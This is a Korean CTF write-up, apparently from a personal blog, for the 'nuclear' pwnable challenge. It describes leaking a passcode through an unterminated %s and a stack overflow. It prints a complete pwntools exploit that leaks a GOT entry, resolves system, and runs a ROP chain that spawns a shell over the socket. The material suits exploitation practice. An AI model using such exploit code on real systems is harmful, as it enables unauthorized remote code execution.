꽤 오래 걸렸던 문제
이 문제도 소켓이다. 1129번 포트(?)로 소켓을 연다
취약점 찾는데 좀 노하우(?)가 생긴 것 같다. recv나 scanf함수 같은걸 Xref해서 찾으면 빨리 찾더라.
취약점은 정말 금방 찾았다.
start_routine 함수에서 buf는 ebp-0x20c에 있는데, 1298만큼 받으니까 바로 터진다.
dummy 0x20c + 4 + eip이다.
그런데 fd까지 덮히므로, "Sorry.. we can't..." 문자열을 출력하기 위해 익스할 때는 fd를 4로 맞춰서 했다.
저 취약점을 트리거 하기 위해서는 메뉴에서 launch를 입력하면 되고, strcmp로 passcode와 cmd를 또 비교한다.
그렇다. 까나리가 없는 대신 passcode를 릭해야 하는 것이다.
어떻게 릭할지 좀 찾다가, 아래 분의 unknown command에서 릭이 될 것 같았다.
%s는 널을 만날 때 까지 출력하고, 변수 상태는 아래와 같다.
cmd, v4, v5를 다 채우고 unknown 커맨드를 입력하면, passcode도 릭 될것이다.
scanf((int)arg, &cmd, 512)로 cmd를 512바이트 받지만, cmd 크기는 딱 512바이트이므로, v4, v5를 건들 수 없다.
그러나 "target"메뉴에서 이를 널이 아닌 값으로 채울 수 있다.
sscanf %f로 받으니까, 대충 0.1/0.1 이런식으로 넣으면 null이 아닌 값이 들어갈 것 같다.
0.1이 딱 들어왔다.
이제 cmd에 "A"*512를 넣어주면 cmd + v4 + v5 + passcode가 릭이 딱 된다.
passcode를 알아냈으니 이제 launch 메뉴에 들어갈 수 있고, 취약점을 트리거 할 수 있다.
시나리오는 아래와 같다.
1. recv로 bss에 리버스쉘 받기 ("sh >&4 0<&4\x00")
2. send로 recv 함수 got 릭
3. libc base 및 system 함수 오프셋 계산
4. recv로 got 주소 오버라이트
5. recv함수 호출 (system함수 호출)
그런데 오프셋이 자꾸 안 맞는 것이었다.
오프셋 계산은 펀툴즈를 이용했고,
libc = e.libc 로 자동으로 libc를 가져왔고,
libc.symbols['recv']를 이용했는데
base주소가 이상한 것이었다. 오프셋이 안 맞기 때문이었다.
그래서 peda에서 vmmap으로 확인한 오프셋을 하드코딩하여 익스를 하였다.
그러니까, recv릭 - vmmap해서 나온 libc base를 하면 오프셋이 나오니까,
이 오프셋을 하드코딩 한 것이다.
그런데 pwntools나 objdump로 확인한 offset이랑 달랐다... 거리도 꽤 났고...
어찌어찌해서 익스를 성공했는데, 옆에서 상영이가 그 이유를 알려줬다.
취약점은 start_routine함수에서 터지고,
아래는 그 함수를 부르는 함수이다. pthread_create으로 호출하는걸 확인할 수 있다.
pthread이기 때문인지... 저 안에서 쓰는 함수 libc가 libc.so.6이 아니라, libpthread.so.0였다.....
그래서 릭 한 오프셋이 계속 이상했던거.....
ldd했을 때도 나오고, 심지어 vmmap에서도 나온다,,,
왜 못봤을가.....
내 환경에서
libc base + 0x1b6000 위치에 항상 libpthread가 올라온다. (ldd로 확인)
릭한 recv나 send 주소는 libpthread위에 있으므로, 해당 함수의 오프셋을 빼면 libpthread의 base를 구할 수 있고,
거기서 0x1b6000을 빼면 libc base가 나오므로, system함수 주소를 구할 수 있다.
아래는 익스플로잇이다.
위의 시나리오대로 하지는 않았고, recv got를 릭했으니까, system함수를 바로 알 수 있다.
연결을 끊고 다시 접속해서 binsh 보내고, 바로 system으로 조졌다.
(fork를 쓰므로 libc base주소는 동일)
pwntools의 ROP 기능을 사용했다.
익스를 본 순간 이건 정말 개사기라고 생각했다.
그런데, 주의할 점이 있다.
from pwn import * from time import * passcode = 'NUCLEAR_LAUNCHER_DETECTED' e = ELF('./nuclear_d4f699f3dbb8aadf7c224aa57f57eb4c') libc = e.libc rop = ROP(e) binsh = " sh="">&4 0<&4\x00" pop4ret = 0x804917c p = remote('0', 1129) p.sendline("launch") p.sendline(passcode) sleep(0.4) payload = "A"*0x200 payload += p32(4) payload += "B"*0x0c # leak rop = ROP(e) rop.send(4, e.got['recv'], 4, 0) payload += rop.chain() p.sendline(payload) print p.recvuntil("Sorry.. We can't stop this action.. G00D Luck!\n") leak = u32(p.recv(4)) print 'leak :', hex(leak) libc.address = leak - 0x1c5340 # recv offset from libc base (not libpthread !) print 'base :', hex(libc.address) print 'system :', hex(libc.symbols['system']) #raw_input() p.close() sleep(0.3) p = remote('0', 1129) p.sendline("launch") sleep(0.3) p.sendline(passcode) sleep(0.4) payload = "A"*0x200 payload += p32(4) payload += "B"*0x0c ''' rop = ROP(e) rop.recv(4, e.bss(), len(binsh), 0) payload += rop.chain() payload += p32(libc.symbols['system']) payload += "BBBB" payload += p32(e.bss()) ''' payload += p32(e.plt['recv']) payload += p32(pop4ret) payload += p32(4) payload += p32(e.bss()) payload += p32(len(binsh)) payload += p32(0) payload += p32(libc.symbols['system']) payload += "BBBB" payload += p32(e.bss()) p.sendline(payload) print p.recvuntil("Sorry.. We can't stop this action.. G00D Luck!\n") p.send(binsh) p.interactive()
그런데, 중간에 주석처리한 것 처럼 하면 익스가 안 된다. (얼핏 봐선 될 것 같지만)
pwntools ROP는 페이로드 맨 끝에만 써야 하는듯..
종혁이가 옆에서 이거때문에 삽질 엄청 함
툴 잘 쓰는것도 중요하다고 생각하는데... 너무 툴만 믿진 말자~~
완전히 익숙하지 않다면, 쓸데없는데서 삽질 많이 할 수도...
'write-up > pwnable' 카테고리의 다른 글
PlaidCTF 2013 ropasaurusrex (0) | 2019.07.11 |
---|---|
Codegate 2018 BaskinRobins31 (0) | 2018.08.18 |
Codegate 2014 Angrydoraemon (0) | 2018.08.09 |
Codegate 2017 babypwn (0) | 2018.08.09 |